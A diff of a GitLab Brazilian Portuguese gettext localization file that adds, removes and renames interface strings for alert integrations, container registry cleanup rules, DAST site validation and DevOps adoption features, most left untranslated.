+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "Alertas"
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr "Permitir acesso público aos pipelines e detalhes de tarefas, incluindo
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Permitir renderização de diagramas PlantUML em documentos Asciidoc."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "Ocorreu um erro"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "Um erro ocorreu ao consultar o endereço da Central de Serviços."
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Ocorreu um erro ao buscar lista de painéis. Por favor, tente novamente."
@@ -3001,18 +3126,21 @@ msgstr "Ocorreu um erro enquanto busca nesta aba."
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr "Erro ao recuperar projetos"
-msgid "An error occurred while importing project: %{details}"
-msgstr "Ocorreu um erro ao importar projeto: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "Ocorreu um erro ao inicializar travas de caminhos"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr ""
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr "Erro ao renderizar pré-visualização da mensagem de transmissão"
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr "Ocorreu um erro ao inscrever às notificações."
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Ocorreu um erro durante a atualização do comentário"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr "Aplicar sugestão"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} aprovação obrigatória de %{membersCount}"
msgstr[1] "%{count} aprovações obrigatórias de %{membersCount}"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "Aprovadores"
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr "Tem certeza de que deseja excluir este painel?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Tem certeza de que deseja excluir este dispositivo? Esta ação não pode ser desfeita."
-msgid "Are you sure you want to delete this list?"
-msgstr "Você tem certeza que deseja excluir esta lista?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Tem certeza que deseja excluir este agendamento de pipeline?"
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "Você tem certeza de que deseja excluir este item?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Você tem certeza que quer recriar o token de registro?"
@@ -3852,6 +3998,12 @@ msgstr "Autenticar"
msgid "Authenticate with GitHub"
msgstr "Autenticar com GitHub"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr "Autenticando"
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr "Bloqueado"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr "Por %{user_name}"
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr "Configurações de CI / CD"
msgid "CI Lint"
msgstr "Checar syntaxe de CI"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "Canary Deployments é uma estratégia popular em CI onde uma pequena porção da frota é atualizada para a nova versão do seu aplicativo."
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Cancelar"
@@ -4785,9 +4963,6 @@ msgstr "Não é possível criar o relatório de abuso. Este usuário foi bloquea
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr "Alterações"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr "As alterações não ocorrerão até que o índice seja %{link_start}recriado%{link_end}."
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr "Verifique Novamente"
msgid "Check feature availability on namespace plan"
msgstr "Verificar disponibilidade de funcionalidades no plano de namespace"
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Verifique a %{docs_link_start}documentação%{docs_link_end}."
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Escolha a branch/tag (ex: %{master}) ou número do commit (ex: %{sha}) para ver o que mudou ou para criar um merge request."
@@ -5241,6 +5413,9 @@ msgstr "Escolher arquivo…"
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Escolha o grupo principal para importar seus repositórios."
@@ -5409,7 +5584,7 @@ msgstr "Etiqueta de Classificação (opcional)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "está indisponível: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr "Limpa o peso."
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr "Clonar com SSH"
msgid "Close"
msgstr "Fechar"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr "Fechar %{tabname}"
msgid "Close epic"
msgstr "Fechar épico"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Fechar marco"
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} foi instalado com sucesso no seu cluster Kubernetes"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Cert-Manager"
@@ -5970,9 +6148,6 @@ msgstr "Cluster de grupo"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr "Saiba mais sobre grupo de cluster Kubernetes"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr "Saiba mais sobre instância de cluster Kubernetes"
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr "A URL usada para acessar a API do Kubernetes."
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr "Mensagem de Commit"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "Commit excluído"
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "Entre em contato com o departamento de vendas para atualizar"
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr "Personalizar cores"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "Personalize como os endereços de e-mail e nomes de usuário do FogBugz são importados para o GitLab. Na próxima etapa, você poderá selecionar os projetos que deseja importar."
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "Personalize como os endereços de e-mail e nomes de usuário do Google Code são importados para o GitLab. Na próxima etapa, você poderá selecionar os projetos que deseja importar."
-
msgid "Customize icon"
msgstr "Customizar ícone"
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "Padrão: Importar diretamente o endereço de e-mail ou nome de usuário do Google Code"
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "Padrão: Mapeie uma ID de conta do FogBugz para um nome completo"
@@ -8604,8 +8851,8 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "Você tem certeza que deseja executar %{jobName} imediatamente? Caso contrário, essa tarefa será executada automaticamente após seu tempo acabar."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "Tem certeza que deseja executar %{job_name} imediatamente? Essa tarefa será executada automaticamente após seu tempo acabar."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr "Descrição"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr "Descrição analisada com %{link_start}GitLab Flavored Markdown%{link_end}"
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr "Adicionar um design com o mesmo nome de arquivo substitui o arquivo por uma nova versão."
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr "Detalhes (padrão)"
msgid "Detect host keys"
msgstr "Detectar chaves de host"
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
